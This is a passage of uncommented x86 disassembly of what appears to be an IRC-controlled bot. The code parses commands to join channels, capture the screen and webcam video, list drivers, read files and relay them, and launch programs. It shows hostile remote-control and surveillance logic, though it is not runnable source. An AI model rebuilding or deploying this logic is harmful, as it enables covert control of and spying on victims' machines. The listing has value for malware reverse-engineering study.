		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset dword_4143CC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40884C


loc_40883A:				; CODE XREF: sub_401ACD+6D7Dj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408867
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_40883A
; ---------------------------------------------------------------------------


loc_40884C:				; CODE XREF: sub_401ACD+6D6Bj
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42A530


loc_408858:				; CODE XREF: sub_401ACD+6E8Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408867:				; CODE XREF: sub_401ACD+6D73j
					; sub_401ACD+6E6Ej
		cmp	[ebp+var_8], ebx
		jnz	loc_409631
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409629
; ---------------------------------------------------------------------------


loc_408887:				; CODE XREF: sub_401ACD+4A14j
					; sub_401ACD+4A2Bj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_42A504
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset dword_413B78
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40894B


loc_408935:				; CODE XREF: sub_401ACD+6E7Cj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408867
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_408935
; ---------------------------------------------------------------------------


loc_40894B:				; CODE XREF: sub_401ACD+6E66j
		call	near ptr 26709D6h
		nop
		push	eax
		push	offset dword_42A4C8
		jmp	loc_408858
; ---------------------------------------------------------------------------


loc_40895C:				; CODE XREF: sub_401ACD+49E6j
					; sub_401ACD+49FDj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C0
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h


loc_408979:				; CODE XREF: sub_401ACD+6F17j
		test	eax, eax
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855


loc_408995:				; CODE XREF: sub_401ACD+7A56j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4B8
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4089C0:				; CODE XREF: sub_401ACD+49B8j
					; sub_401ACD+49CFj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A4AC
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408979
; ---------------------------------------------------------------------------


loc_4089E6:				; CODE XREF: sub_401ACD+498Aj
					; sub_401ACD+49A1j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409855
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4B8
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42A490


loc_408A4C:				; CODE XREF: sub_401ACD+700Aj
					; sub_401ACD+7079j ...
		call	sub_415221
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_408A56:				; CODE XREF: sub_401ACD+495Cj
					; sub_401ACD+4973j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A85
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A488
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408A85:				; CODE XREF: sub_401ACD+6FA1j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4B8
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A46C
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408ADC:				; CODE XREF: sub_401ACD+492Ej
					; sub_401ACD+4945j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	esi
		push	offset dword_42A4B8
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A450
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408B4B:				; CODE XREF: sub_401ACD+4900j
					; sub_401ACD+4917j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	offset unk_42A428
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_408B87:				; CODE XREF: sub_401ACD+48D2j
					; sub_401ACD+48E9j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_42A41C
		push	[ebp+arg_4]
		call	sub_409A2D
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2660E9Fh
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42A408
		call	sub_4151AD
		jmp	loc_403520
; ---------------------------------------------------------------------------


loc_408BEB:				; CODE XREF: sub_401ACD+48A4j
					; sub_401ACD+48BBj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409855
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AB3C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A3EC
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408C58:				; CODE XREF: sub_401ACD+4876j
					; sub_401ACD+488Dj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409855
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A3CC
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408CAD:				; CODE XREF: sub_401ACD+4848j
					; sub_401ACD+485Fj
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B5
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A3AC


loc_408CDC:				; CODE XREF: sub_401ACD+5853j
					; sub_401ACD+7B2Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409610
; ---------------------------------------------------------------------------


loc_408CF0:				; CODE XREF: sub_401ACD+481Aj
					; sub_401ACD+4831j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E2
		jmp	loc_4040FD
; ---------------------------------------------------------------------------


loc_408D0A:				; CODE XREF: sub_401ACD+47DCj
					; sub_401ACD+47F1j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409855
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB2
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D9A
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A600
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A384
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408D9A:				; CODE XREF: sub_401ACD+7270j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A354
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408DB2:				; CODE XREF: sub_401ACD+725Bj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF7
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_42A338
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408DFE:				; CODE XREF: sub_401ACD+47B2j
					; sub_401ACD+47C7j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E59
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E46
		push	edi
		call	sub_4153BD
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3F
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A304
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E59
; ---------------------------------------------------------------------------


loc_408E3F:				; CODE XREF: sub_401ACD+7359j
		push	offset unk_42A2D4
		jmp	short loc_408E4B
; ---------------------------------------------------------------------------


loc_408E46:				; CODE XREF: sub_401ACD+734Dj
		push	offset unk_42A298


loc_408E4B:				; CODE XREF: sub_401ACD+7377j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408E59:				; CODE XREF: sub_401ACD+7342j
					; sub_401ACD+7370j
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE6
		xor	edi, edi


loc_408E6E:				; CODE XREF: sub_401ACD+7404j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CB684
		test	eax, eax
		jz	short loc_408ECD
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_42A268
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 28h


loc_408ECD:				; CODE XREF: sub_401ACD+73C2j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6E
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A240
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408EE6:				; CODE XREF: sub_401ACD+739Dj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F87
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F74
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F74
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F74
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F74
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F8
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A20C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F87
; ---------------------------------------------------------------------------


loc_408F6D:				; CODE XREF: sub_401ACD+7481j
		push	offset unk_42A1D8
		jmp	short loc_408F79
; ---------------------------------------------------------------------------


loc_408F74:				; CODE XREF: sub_401ACD+7437j
					; sub_401ACD+7440j ...
		push	offset unk_42A1A0


loc_408F79:				; CODE XREF: sub_401ACD+74A5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408F87:				; CODE XREF: sub_401ACD+742Aj
					; sub_401ACD+749Ej
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40875A
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901F
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901F
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901F
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901F
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F1
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409015
		push	[ebp+arg_1C]
		push	offset unk_42A16C
		jmp	loc_40874B
; ---------------------------------------------------------------------------


loc_409015:				; CODE XREF: sub_401ACD+7539j
		push	offset unk_42A12C
		jmp	loc_4090E3
; ---------------------------------------------------------------------------


loc_40901F:				; CODE XREF: sub_401ACD+74DDj
					; sub_401ACD+74EBj ...
		push	offset unk_42A0EC
		jmp	loc_4090E3
; ---------------------------------------------------------------------------


loc_409029:				; CODE XREF: sub_401ACD+4042j
					; sub_401ACD+4057j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409099
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch


loc_409054:				; CODE XREF: sub_401ACD+75B6j
		test	eax, eax
		jz	short loc_409085
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409054
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+7589j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A0C8
		jmp	loc_409227
; ---------------------------------------------------------------------------


loc_409099:				; CODE XREF: sub_401ACD+756Fj
		push	[ebp+arg_10]
		push	offset unk_42A0A4
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4090A6:				; CODE XREF: sub_401ACD+4018j
					; sub_401ACD+402Dj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	offset asc_42A0A0 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A51
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F6
		push	offset unk_42A074


loc_4090E3:				; CODE XREF: sub_401ACD+754Dj
					; sub_401ACD+7557j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40875A
; ---------------------------------------------------------------------------


loc_4090F6:				; CODE XREF: sub_401ACD+760Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A05C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_409110:				; CODE XREF: sub_401ACD+3FEEj
					; sub_401ACD+4003j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409855
		push	eax
		call	sub_418212
		test	eax, eax
		pop	ecx
		jnz	short loc_409140
		push	offset unk_42A03C
		jmp	short loc_4090E3
; ---------------------------------------------------------------------------


loc_409140:				; CODE XREF: sub_401ACD+766Aj
		push	offset dword_42A020
		jmp	short loc_4090E3
; ---------------------------------------------------------------------------


loc_409147:				; CODE XREF: sub_401ACD+3FC4j
					; sub_401ACD+3FD9j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409178
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_409178:				; CODE XREF: sub_401ACD+7697j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A008
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB6
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40921B


loc_409205:				; CODE XREF: sub_401ACD+774Cj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406D00
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_409205
; ---------------------------------------------------------------------------


loc_40921B:				; CODE XREF: sub_401ACD+7736j
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_429FC8


loc_409227:				; CODE XREF: sub_401ACD+29CFj
					; sub_401ACD+75C7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406D00
; ---------------------------------------------------------------------------


loc_40923B:				; CODE XREF: sub_401ACD+3F9Aj
					; sub_401ACD+3FAFj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96B
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_429FB0
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_40925D:				; CODE XREF: sub_401ACD+3F70j
					; sub_401ACD+3F85j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F8C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1B
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	loc_4023E6


loc_409326:				; CODE XREF: sub_401ACD+786Dj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_409326
; ---------------------------------------------------------------------------


loc_40933C:				; CODE XREF: sub_401ACD+3F46j
					; sub_401ACD+3F5Bj
		push	[ebp+arg_10]
		nop
		call	near ptr 2670168h
		test	eax, eax
		jz	short loc_409367
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F70
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409445
; ---------------------------------------------------------------------------


loc_409367:				; CODE XREF: sub_401ACD+787Aj
		push	offset dword_42A778
		call	sub_41814D
		pop	ecx
		push	eax
		jmp	loc_403F48
; ---------------------------------------------------------------------------


loc_409378:				; CODE XREF: sub_401ACD+3F1Cj
					; sub_401ACD+3F31j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199CA
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409399
		push	offset unk_429F4C
		jmp	short loc_40939E
; ---------------------------------------------------------------------------


loc_409399:				; CODE XREF: sub_401ACD+78C3j
		push	offset unk_429F1C


loc_40939E:				; CODE XREF: sub_401ACD+78CAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D03
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_406D03
; ---------------------------------------------------------------------------


loc_4093D7:				; CODE XREF: sub_401ACD+3EF2j
					; sub_401ACD+3F07j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BD
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FD
		push	offset unk_429EFC
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4093FD:				; CODE XREF: sub_401ACD+7924j
		push	offset unk_429ECC
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_409407:				; CODE XREF: sub_401ACD+3EC8j
					; sub_401ACD+3EDDj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944D
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB60C
		cmp	eax, ebx
		jz	short loc_409468
		push	dword ptr [eax]


loc_409433:				; CODE XREF: sub_401ACD+7999j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429EAC
		push	eax
		call	sub_41B886


loc_409445:				; CODE XREF: sub_401ACD+7895j
		add	esp, 10h
		jmp	loc_406CDF
; ---------------------------------------------------------------------------


loc_40944D:				; CODE XREF: sub_401ACD+794Dj
		push	esi
		call	dword_4CB6D8
		cmp	eax, ebx
		jz	short loc_409468
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB6E0
		push	eax
		jmp	short loc_409433
; ---------------------------------------------------------------------------


loc_409468:				; CODE XREF: sub_401ACD+7962j
					; sub_401ACD+7989j
		push	offset unk_429E84
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_409472:				; CODE XREF: sub_401ACD+3E9Ej
					; sub_401ACD+3EB3j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429E5C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_40948F:				; CODE XREF: sub_401ACD+3E74j
					; sub_401ACD+3E89j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB5C0
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B3
		push	offset unk_429E3C
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4094B3:				; CODE XREF: sub_401ACD+79DAj
		push	offset unk_429E18
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4094BD:				; CODE XREF: sub_401ACD+3E4Aj
					; sub_401ACD+3E5Fj
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_429DF0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_4094D6:				; CODE XREF: sub_401ACD+3E20j
					; sub_401ACD+3E35j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408995
; ---------------------------------------------------------------------------


loc_409528:				; CODE XREF: sub_401ACD+3DF6j
					; sub_401ACD+3E0Bj
		mov	esi, [ebp+arg_10]
